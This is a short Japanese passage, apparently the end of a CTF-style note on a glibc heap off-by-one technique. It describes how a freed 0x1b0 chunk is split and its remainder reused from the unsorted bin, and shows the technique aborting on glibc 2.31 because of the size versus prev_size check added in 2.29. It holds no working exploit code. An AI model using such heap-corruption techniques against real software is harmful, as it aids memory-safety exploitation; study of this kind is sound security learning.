0x7fea60f3dca0 <main_arena+96>: 0x000055c8083eaf10

0x1b0のチャンクから切り出されています。残りのチャンクはunsorted binに格納されています。また、残りのチャンクはbとして使えます。

glibc 2.31

$ ./offbyone 
corrupted size vs. prev_size while consolidating
中止

glibc 2.29以降では、aのsizeとcのprev_sizeのチェックがあるのでabortします。

参考

Malleus CTF Pwn
【pwn 32.0】glibc2.32 Safe-Linking とその Bypass の概観 - newbieからバイナリアンへ
https://elixir.bootlin.com/glibc/glibc-2.32/source/malloc/malloc.c